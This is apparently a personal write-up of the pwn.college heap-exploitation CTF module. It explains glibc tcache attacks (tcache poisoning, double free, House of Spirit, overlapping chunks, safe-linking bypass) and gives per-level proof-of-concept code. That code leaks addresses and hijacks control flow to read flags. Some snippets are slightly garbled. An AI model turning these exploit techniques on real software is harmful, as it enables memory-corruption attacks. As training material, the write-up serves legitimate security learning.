Here is my write-up for the dynamic-allocator-misuse(heap) module of the pwn.college
. Due to the disclosure agreement, I won't post the full exploit but the PoC code to show the idea of the solutions. Glad to see they are adding more challenging levels at the end. Have fun.
Tcache pwn techniques
UAF
Use-After-Free vulnerability is the most commonly seen component in our exploit which allows us the read/write a freed chunk so that we could manipulate the heap bins(lists).
Heap overflow
Without UAF, we sometimes could also leverage heap overflow to corrupt the metadata(size or next_ptr field for freed chunk) of the chunks nearby.
UAF and Heap overflow are two basic vulnerabilities that we could make use of to achieve arbitrary address read and write through the following advanced heap exploitation techniques.
Tcache poisoning
This is the most useful technique to malloc a chunk on an arbitrary given address(which probably allows us to read and write after the allocation). Here is a proof-of-concept for this idea:
def get_arbitrary_addr_pointer(index, addr):
// warm up tcache
malloc(index, 16)
malloc(index+1, 16)
free(index)
free(index+1)
// corrupt the next_ptr field through UAF
payload = p64(addr)
scanf(payload, index+1)
// allocation
malloc(index+2, 16)
malloc(index+3, 16)
return index
Double free
If we have a UAF, we probably could free a chunk twice to create a circular linked list for this tcache bin. This technique allows us to get two pointers (maybe at different places) that point to the same chunk, which might cause further manipulation.
However, new versions of glibc/ptmalloc introduced the key field check, but we could overwrite key field after free()ing our allocation.
House of Spirit(Tcache)
This exploit technique takes advantage of the fact that there are very few checks done at free() time. Therefore, we could:
"""
House of Spirit
1/ forge something that looks like a chunk(probably on a user-control buffer)
2/ free() it.
3/ The next malloc() will return that chunk to you!
"""
Levels 12-14 illustrate this technique well.
Memory copy through Tcache head
The PoC has been shown in this video: https://youtu.be/-a9wVdxT88g?t=422
Level 16 is a good example to show this technique, here is the PoC code snippet:
"""transfer the first 16 bytes of from_addr to another memory chunk(start_index+4)"""
def memory_copy(from_addr, start_index):
malloc(start_index, 16)
malloc(start_index+1, 16)
free(start_index)
free(start_index+1)
scanf(p64(from_addr), start_index+1)
malloc(start_index+2, 16)
### after this malloc, the tcache bin looks like
# b'+====================+========================+==============+============================+============================+\n'
# b'| TCACHE BIN #0 | SIZE: 0 - 24 | COUNT: 1 | HEAD: 0x43a240 | KEY: 0x2335010 |\n'
# b'+====================+========================+==============+============================+============================+\n'
# b'| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |\n'
# b'+---------------------+---------------------+------------------------------+---------------------+---------------------+\n'
# b'| 0x43a240 | 0 | 0 (NONE) | 0x7975637076647767 | 0x61706a6161657670 |\n'
# b'+----------------------------------------------------------------------------------------------------------------------+\n'
malloc(start_index+3, 16) ### the tcache head = last malloced chunks's next_ptr field which is our secret value
# b'+====================+========================+==============+============================+============================+\n'
# b'| TCACHE BIN #0 | SIZE: 0 - 24 | COUNT: 1 | HEAD: 0x7975637076647767 | KEY: 0x61706a6161657670 |\n'
# b'+====================+========================+==============+============================+============================+\n'
# b'| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |\n'
# b'+---------------------+---------------------+------------------------------+---------------------+---------------------+\n'
# b'| ??? | ??? | 0 (NONE) | ??? | ??? |\n'
# b'+----------------------------------------------------------------------------------------------------------------------+\n'
malloc(start_index+4, 16)
free(start_index+4) ### the next field of chunk 5 will be set as current head which is our secret value
# b'+====================+========================+==============+============================+============================+\n'
# b'| TCACHE BIN #0 | SIZE: 0 - 24 | COUNT: 1 | HEAD: 0x2335300 | KEY: 0x2335010 |\n'
# b'+====================+========================+==============+============================+============================+\n'
# b'| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |\n'
# b'+---------------------+---------------------+------------------------------+---------------------+---------------------+\n'
# b'| 0x2335300 | 0 | 0x21 (P) | 0x7975637076645068 | 0xbb650148292049e7 |\n'
# b'+----------------------------------------------------------------------------------------------------------------------+\n'
return start_index+4
Overlapping allocation
Basic idea: try to overwrite the next_ptr field of a freed chunk with UAF
Without use-after-free, we cannot directly touch that field, but we could leverage buffer overflow to manipulate the size field of a malloced chunk and create an overlapping chunk.
1/ Allocate three memory chunks (chunk_1, chunk_2, chunk_3, chunk_4) of size 0x10 each using malloc().
2/ Free chunk_4, which is then placed in bin_0(1).
3/ Free chunk_3, which is then placed in bin_0(2).
4/ Perform a safe write to chunk_1, overflowing the size field of chunk_2 (e.g., with a value of 0x40).
5/ Free chunk_2, which is then placed in bin_2(1).
6/ Allocate a new memory chunk (chunk_5) of size 0x30 using malloc(). This new chunk will overlap with chunk_3.
7/ Perform a safe write to chunk_5, overwriting the next_ptr field of chunk_3 with an arbitrary address.
8/ Call malloc() with a size of 0x10, consuming the freed chunk.
9/ Allocate another memory chunk (chunk_6) of size 0x10 using malloc(). This new chunk will be allocated at the arbitrary address specified earlier.
Levels 19 and 20 show this trick well.
Tcache mitigation and bypass
Tcache safe-linking
The following slides show the details of safe-linking mitigation which was introduced after the glibc 2.32 version.
https://docs.google.com/presentation/d/1TfwQjqDUFwnhp4pm0W5gFZsTIJO92xtemrp66z-afIM/edit#slide=id.g1f477feeedb_0_301
#define PROTECT_PTR(pos, ptr)
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)
((size_t) &ptr) >> 12) ^ ((size_t) ptr)))
// during the free
tcache_put (mchunkptr chunk, size_t tc_idx)
{
//...
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
//...
}
// during the malloc
tcache_get (size_t tc_idx)
{
//...
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
//...
}
bypass safe-linking
There are two solutions to bypass the safe-linking:
First of all, typically, when a chunk is first added to a tcache list, the tcache->entries[tc_idx]
field is initially set to 0x0, making the next_ptr
field equal to the heap base. If we could use UAF to leak the content, we could get the heap base, and use it to decode or encode the addresses.
If we don't have UAF, the safe-linking protected pointer can be reversed by using the following function:
def mangle(pos, ptr):
return (pos>>12) ^ ptr
# equals to REVEAL_PTR
# take advantage of that usually the ptr points to a heap addr(next chunk) and itself stores on the heap
# so ptr>>12 = pos>>12
# def mangle(ptr): return (ptr>>12) ^ ptr
def demangle(obfus_ptr):
o2 = (obfus_ptr >> 12) ^ obfus_ptr
return (o2 >> 24) ^ o2
Sometimes that we would try to allocate a chunk on the stack by overwriting the next ptr in the freed list. In that case, the pos addr
is a heap address, and the protected ptr is stack address.
Malloc alignment check
Addresses eligible for the malloc operation must be aligned to 0x10. Try to malloc at the addr & 0xfffffffffff0
.
Writeup
Level 1/1.1/2
malloc->free->read_flag->puts
Level 2.1
the malloc size for read_flag remains constant during the whole loop.
read_flag->malloc
to calculate the size of the chunk in read_flag and then
malloc(calculated flag chunk size)->free->read_flag->puts
Level 3/3.1
malloc[0]->malloc[1]->free[0]->free[1]->read_flag->puts[0]
Level 4/4.1
Overwrite the freed chunk's key field using UAF so it won't detect double-free.
malloc->free->scanf->free->read_flag->puts
Level 5/5.1
puts_flag
only prints the flag when the first 8 bytes of a malloc chunk are not zero, however, in the read_flag
, it would set *chunk_addr = 0.
Therefore, we should use the free
function to set the flag chunk's first 16 bytes as pointers(non-null, that's why we use two chunks to warm up), then we could use puts_flag
.
malloc[0]->malloc[1]->free[0]->free[1]->read_flag->free[1]->puts_flag
Level 6/6.1
Goal
At this level, we need to read 8 bytes from the stack.
Solution
Corrupt the TCACHE entry_struct (next pointer) to a stack address and then use malloc
to get a pointer that points to the stack address.
Firstly, we need to warm up the tcache
list. Since our idea is to modify the next pointer of the first chunk and then malloc twice, which will return a pointer that points to a stack address, we need to add two items in the tcache
list.
malloc(0, 16)->malloc(1, 16)->free(0)->free(1)
Once the tcache
list is warm, we can corrupt the next
pointer of the first chunk by using the scanf
function to overwrite its value with a stack address:
scanf(p64(0x426065), 1)
Finally, we can call malloc
twice with a size of 16 to obtain a pointer to the corrupted chunk and the next chunk, which now points to the stack address. We can then leak a secret value from the stack by calling puts
with the address of the chunk.
malloc(2, 16)->malloc(3, 16)->secret=puts(3)->send_flag(secret)
Level 7/7.1
Goal
The goal of this challenge is to circumvent the comparison of a 16-byte value on the stack (not necessarily leak the whole 16 bytes).
Solution
Our idea is to repeat the actions from Level 6/6.1 twice while leaking 8 bytes on each attempt.
Nonetheless, we must consider that if we allocate a freed chunk from the tcache list, the chunk_addr + 0x08
bytes (key field) will be zeroed out. As a consequence, when reading more than 8 bytes from the stack, we need to read them in reverse order to ensure that we retrieve the replaced content beforehand.
def get_secret(index, addr):
malloc(index, 16)
malloc(index+1, 16)
free(index)
free(index+1)
payload = p64(addr)
scanf(payload, index+1)
malloc(index+2, 16)
malloc(index+3, 16)
secret = puts(index+3)
return secret
if __name__ == "__main__":
secret_1 = get_secret(0, 0x42ae49)
secret_2 = get_secret(4, 0x42ae41)
send_flag(secret_2+b'\x00'*8)
quit()
Level 8/8.1
Goal
The same goal as the last level, however, the stack address is intentionally "whitespace-armored" that end with 0x0a(\n
), which is the truncate sign for scanf and will not be read. So we cannot directly read the stack address to the next pointer of the tcache chunk.
For scanf
, stop reading the sign for scanf: 0x09 0x0A 0x0B 0x0C 0x0D
and after reading, stop sign 0x00
would be append automatically.
Solution
To evade the "whitespace-armoring" address, my initial idea is to read the 4 bytes before and 4 bytes after the target address that ends with 0x0a
. However, since puts
halt printing when it encounters 0x00
, we must replace all 0x00
in the address range we intend to print.
There are two ways to replace 0x00
in the stack address: using scanf
to read non-zero values into the address or using free
to exploit the key address. However, both methods proved unsuccessful. The problem with scanf
is that it automatically appends 0x00
after terminating, which truncates our content. The issue with free
is that I was unable to free an address on the stack, resulting in the free(): invalid pointer
error.
Therefore, my final solution is to take advantage of the key-field-zeroed-out
property when allocating a chunk from the freed tcache list. By utilizing the same technique as in Level 7, we can leak the lower 0x8 bytes and zero out the first 0x8 bytes.
secret_2 = get_secret(4, 0x424512) # leak the last 8 bytes
secret_1 = get_secret(0, 0x424502) # zero out 0x42450a, which is the first 8 bytes
send_flag(b'\x00'*0x08 + secret_2)
quit()
Level 9/9.1
Goal
The objective of this challenge is to circumvent the comparison of a 16-byte value on the stack. However, this time, we cannot obtain the pointer that references the stack, as the validation routine sets the pointer to 0x00
if the returned chunk pointer is less than 0x430000
.
Solution
Nonetheless, although we are unable to obtain the stack pointer in this case, the malloc operation has already occurred. Therefore, we can still leverage the key-field-zeroed-out
property to zero out the value at the targeted address.
def get_stack_pointer(index, addr):
malloc(index, 16)
malloc(index+1, 16)
free(index)
free(index+1)
payload = p64(addr)
scanf(payload, index+1)
malloc(index+2, 16)
malloc(index+3, 16)
return index
if __name__ == "__main__":
"""
still use the key field zero-out property
"""
get_stack_pointer(0, 0x424b36) # zero out 0x424b3e
get_stack_pointer(4, 0x424b3e) # zero out 0x424b46
send_flag(b'\x00'*0x10)
quit()
Level 10/10.1
Goal
The goal of the challenge is to hijack the control flow to the win function with provided main and stack address.
Solution
The solution would be to get a pointer(chunk) that points to the ret address on the stack and then overwrite the address with the win function.
def get_stack_pointer(index, addr):
malloc(index, 16)
malloc(index+1, 16)
free(index)
free(index+1)
payload = p64(addr)
scanf(payload, index+1)
malloc(index+2, 16)
malloc(index+3, 16)
return index+3
if __name__ == "__main__":
"""
overwrite the retrun address on the stack to the win
"""
sh.recvuntil(b'[LEAK]')
stack_addr = int(re.findall(r'0x[0-9a-fA-F]+', sh.recvline().decode())[0], 16)
sh.recvuntil(b'[LEAK]')
main_addr = int(re.findall(r'0x[0-9a-fA-F]+', sh.recvline().decode())[0], 16)
win_addr = main_addr-0xfd
ret_addr = stack_addr+0x118
log.info("get the stack addr @ %s" % hex(stack_addr))
log.info("get the main addr @ %s" % hex(main_addr))
log.info("get the win addr @ %s" % hex(win_addr))
log.info("get the ret addr @ %s" % hex(ret_addr))
ret_pt_index = get_stack_pointer(0, ret_addr) # zero out 0x424b3e
scanf(p64(win_addr), ret_pt_index)
quit()
print(sh.recv())
Level 11/11.1
Goal
The goal of challenge is hijack the control flow to the win function without provided main and stack address.
Solution
The solution would be the same as Level 10, however, we need to leak the stack address and the elf loading address by ourselves first.
leak the stack address
So, how to get a pointer that points to the stack address? Previously, we always poison the tache header with a target address and then get its corresponding pointer. However, at this time, we don't know the exact stack address of ret address of the main function. Therefore, we first need to leak a stack address.
To leak the stack address, we need to find whether there is a stack address that have be saved in any chunks by the program, so we could control the chunk pointer and print its value. In the echo function, we found the address of a local variable local_16
, which is saved on the stack and has been put into the heap chunk.

Therefore, we could leak the variable address on the stack which is echo's rbp - 0x12
leak the elf loading address
To leak the elf loading address, we could find any text segment address that has been saved on the stack, then we could use the echo function which supports offset to print that address out.
In level 11, I found main function address has been saved on the main's rbp - 0x28
.
And echo's rbp = main's rbp - 0x160
, and win
function address is the main function - 0x11E
.
And we leaked the stack address as well as the win
function address, we could use the same solution as level 10 to hijack the control flow to the win function.
if __name__ == "__main__":
"""
1/ to get a stack pointer, in the echo function, it uses malloc to get a chunk to store argv \
, and one of the field is a stack address which stores "Data:" on the stack: rbp-0x12 \
so, we need to leak that stack address
2/ leak the main function addr which stores on the rbp-0x18
2/ partitial write the ret address to win
"""
malloc(0, 32)
free(0)
echo(1, 0)
### at this time, chunk with index 0 contains an stack address
leaked_stack_addr = echo(0, 8)
leaked_stack_addr = leaked_stack_addr + 0xe + 0x160 ## rbp address for main
log.info("The stack addr of rbp of main func: %s" % hex(leaked_stack_addr))
log.info("The stack addr of main func addr: %s" % hex(leaked_stack_addr+0x28))
log.info("The stack addr of ret of main func: %s" % hex(leaked_stack_addr+0x8))
### try to leak the main addr
main_pt_index = get_stack_pointer(1, leaked_stack_addr+0x28)
leaked_main_addr = echo(main_pt_index, 0)
elf_load_base = leaked_main_addr - 0x1cce
win_addr = elf_load_base + 0x1b00
log.info("Leaked main func addr: %s" % hex(leaked_main_addr))
log.info("Got the elf loadding base: %s" % hex(elf_load_base))
log.info("Got the win func addr: %s" % hex(win_addr))
### Overwrite the ret addr
ret_pt_index = get_stack_pointer(5, leaked_stack_addr+0x8)
scanf(p64(win_addr), ret_pt_index)
quit()
sh.interactive()
Level 12/12.1
Goal
show the basic concept of the house of Spirit.
Solution
if __name__ == "__main__":
"""
Looks like to show the concept of House of Spirit
1/ use the stack_scanf to construct the fake chunk on the stack
2/ use the free_scanf to free the fake chunk
3/ stack_malloc_win
"""
### scanf addr rbp-0x50
### free addr rbp-0x90
stack_scanf(b'A'*0x38+p64(0x81))
stack_free()
stack_malloc_win()
quit()
Level 13/13.1
Goal
use the House of Spirit to leak the value of the secret address
Solution
solution:
1/ use the scanf_stack and stack_free to leak the current stack address
2/ caculate the secret address on the stack
3/ tcache poison to malloc the chunk on that address
Level 14/14.1
Goal
The goal of the challenge is to bypass the PIE mitigation by leaking the win function and overwrite the return address. This task is similar to level 11, however, we could use the provided stack_free
and stack_scanf
to get a stack address pointer(meaning that we could find a place that saves a stack address and be able to print out the content of that place).
Solution
use the scanf_stack and stack_free to get a stack address pointer and leak its address, then we could know which stack address contains a .text segment address.
index_stack_addr = malloc(0, 16) stack_scanf(b'A'*0x38+p64(0x21)) # rbp-0x90 stack_free() # rbp-0x50 free(index_stack_addr) ### currently, index_stack_addr should has the stack addr leak_stack_addr = echo(index_stack_addr, 0) log.info("leak the stack addr: %s" % hex(leak_stack_addr))
leak the main/win func addr
partial write the ret address to win (since cannot be read by
scanf
, we should use an address behind)
Level 15/15.1
Goal
This task is quite similar to level 11, with the distinction that executing the free
operation would also zero out the chunk address from the array which seems no more UAF to use.
free(local_118[uVar2])
local_118[uVar2]=(void*)0x0;
Solution
In short, we could use a trick that holds a malloc chunk + offset feature in the echo function
to read the content of other chunks. And to achieve tcache poisoning
, we could use heap overflow
instead of UAF+scanf
to manipulate the next ptr field of freed chunks.
def get_stack_pointer(index, addr):
### without direct UAF, we still can malloc on a stack addr
malloc(index, 32)
malloc(index+2, 16) ### hold chunk
malloc(index+1, 32)
free(index)
free(index+1)
## heap overflow
payload = b'A'*0x10+p64(0)+p64(49)+p64(addr)
read(payload, len(payload), index+2) ### try to overwrite the next_ptr of index+1
malloc(index+3, 32)
malloc(index+4, 32)
return index+4
Level 16/16.1
Goal
Revisiting level 9/9.1 with TCACHE safe-linking
in place. Plus, this time the malloc cannot take place at an address where not aligned with 0x10, indicating that we cannot zero out the whole secret.
Solution
Firstly, we could use the next_ptr
field of the first chunk in the freed list to leak the heap base as the encoding and decoding key in the following operations.
malloc(0, 16)
free(0)
leaked_heap_base = puts(0)
This level shows an important technique that we could manipulate the tcache list to achieve memory copy since there is no more shortcut in this level. The PoC of this memory copy technique looks like the following:
0x43a240
is the address that contains the secret value and we cannot directly malloc a chunk on that place and leak its value.

In addition, the secret value shown in the next_ptr field has been XOR with 0x2335
and 0x43a
. So the real content of the secret value on 0x43a240
is 0x7975637076645068^0x2335^0x43a
.
Level 17/17.1
Goal
Revisiting level 10/10.1 with TCACHE safe-linking
in place.
Solution
If attempting to allocate a chunk on the return address and overwrite it with the win function address, as previously done in level 10, you will encounter a chunk alignment issue. This means that you may only be able to allocate a chunk on the rbp, which is typically aligned with 0x10. Consequently, malloc_usable_size
will fail because the 8 bytes ahead of the rbp
address (the canary value), which represents the size of the current chunk, will exceed the largest size. Therefore, this approach will not be successful.
Here is a super smart idea:
An alternative solution is to allocate a chunk on the memory array, which saves the allocated chunk addresses. This allows you to write any arbitrary address as an allocated memory chunk address. By selecting the ret address, you can use scanf
to directly write the win function to the ret address. This is a highly effective solution.
if __name__ == "__main__":
Solutions:
we could allocate a chunk on the memory array which saves the allocated chunk addr, meaning we could overwrite an arbitrary address as an allocated memory chunk address
use scanf to directly write win function to the ret's address.
"""
sh.recvuntil(b'[LEAK]')
stack_alloc_addr = int(re.findall(r'0x[0-9a-fA-F]+', sh.recvline().decode())[0], 16) ## the
sh.recvuntil(b'[LEAK]')
main_addr = int(re.findall(r'0x[0-9a-fA-F]+', sh.recvline().decode())[0], 16)
win_addr = main_addr-0x11b
ret_addr = stack_alloc_addr+0x148
log.info("get the stack addr @ %s" % hex(stack_alloc_addr))
log.info("get the main addr @ %s" % hex(main_addr))
log.info("get the win addr @ %s" % hex(win_addr))
log.info("get the ret addr @ %s" % hex(ret_addr))
### leak the heap addr
malloc(0,1)
free(0)
heap_base = int.from_bytes(puts(0), 'little')
chunk_zero_ptr_index = get_stack_pointer(1, mangle(heap_base<<12, stack_alloc_addr)) # allocate a chunk on allocations[0]
scanf(p64(ret_addr), chunk_zero_ptr_index) # overwrite the address of allocation[0] to ret's address
scanf(p64(win_addr), 0) # overwrite the content of the allocation[0] address (ret's address)
quit()
sh.interactive()
Level 18/18.1
Goal
Revisiting level 13/13.1 with TCACHE safe-linking
in place.
Solution
Safe-linking and chunk alignment have minimal impact on using the House of Spirit. We could still use the same way as level 13 to leak the stack address.
Level 19/19.1
Goal
Achieve arbitrary read with 0x10 overflow in safe_write
and safe_read
.
No UAF, No offset reading
Solution
if __name__ == "__main__":
"""
To read the content of an chunk, we could use this more direct way:
"""
malloc(0, 16)
malloc(1, 16)
malloc(2, 0x1bd)
# malloc(3, 16)
# free(3) # freed to bin #0
free(2) # freed to bin #6
payload_1 = b'A'*0x10 + p64(0x21) + p64(0x200)
safe_read(payload_1, 0)
free(1) # freed to bin #7
overlapped_chunk_index = malloc(4, 496) # get the overlapped chunk
read_flag()
payload_2 = b'A'*0x10
safe_read(payload_2, overlapped_chunk_index)
flag = safe_write(overlapped_chunk_index, 2)
log.info(f'here is what you got: {flag}')
if __name__ == "__main__":
"""
PoC code for overlapping allocation to achieve arbitrary address read and write
"""
flag_addr = read_flag()
malloc(0, 16)
malloc(1, 16)
malloc(2, 16)
malloc(3, 16)
free(3) # freed to bin #0
free(2) # freed to bin #0
payload_1 = b'A'*0x10 + p64(0x21) + p64(0x41)
safe_read(payload_1, 0)
free(1) # freed to bin #2
overlapped_chunk_index = malloc(4, 48) # get the overlapped chunk
payload_2 = b'A'*0x10 # 6
safe_read(payload_2, overlapped_chunk_index)
leak_heap_base = int.from_bytes(safe_write(overlapped_chunk_index, 3)[0xf:0x14], 'little')
log.info(f"Leak the heap base: {hex(leak_heap_base)}")
payload_3 = b'A'*0x10 + p64(0x21) + p64(0x21) + p64(mangle(flag_addr, flag_addr))
safe_read(payload_3, overlapped_chunk_index)
malloc(5, 16)
flag_chunk_index = malloc(6, 16)
safe_write(flag_chunk_index,2)
Level 20/20.1
Goal
This level is super fun and has a long way to go. We need to leverage the overlapping allocation technique to read the flag by ourselves since there is no more win function.
Solution
Solution:
overlapping chunk technique gives us the ability to read and write arbitrary address, use it and
1/ leak the glibc loading addr through the file handler
fdopen return a file handler which is a file struct on heap which contains pointer to _IO_2_1_stderr_ struct (a struct defined in glibc)
2/ leak the stack addr through environ in the glibc which is a pointer to the stack addr (main's rbp + 0x128)
https://github.com/Naetw/CTF-pwn-tips
3/ ROP on the main's ret addr
this time shell doesn't work
need to use ORW to read out the flag
Here is quick helper function that leverage overlapping allocation to malloc arbitrary address:
def malloc_arbitrary_addr(index, size, addr, pos):
"""through overlapped allocation"""
malloc(index, 16)
malloc(index+1, 16)
malloc(index+2, size)
malloc(index+3, size)
free(index+3) # freed to bin #0
free(index+2) # freed to bin #0
payload_1 = b'A'*0x10 + p64(0x21) + p64(0x20+0x10+size+0x1)
safe_read(payload_1, index)
free(index+1) # freed to bin #2
overlapped_chunk_index = malloc(index+4, size+0x20) # get the overlapped chunk
payload_3 = b'A'*0x10 + p64(0x21) + p64(0x21) + p64(mangle(pos, addr))
safe_read(payload_3, overlapped_chunk_index)
malloc(index+5, size)
target_chunk_index = malloc(index+6, size)
return target_chunk_index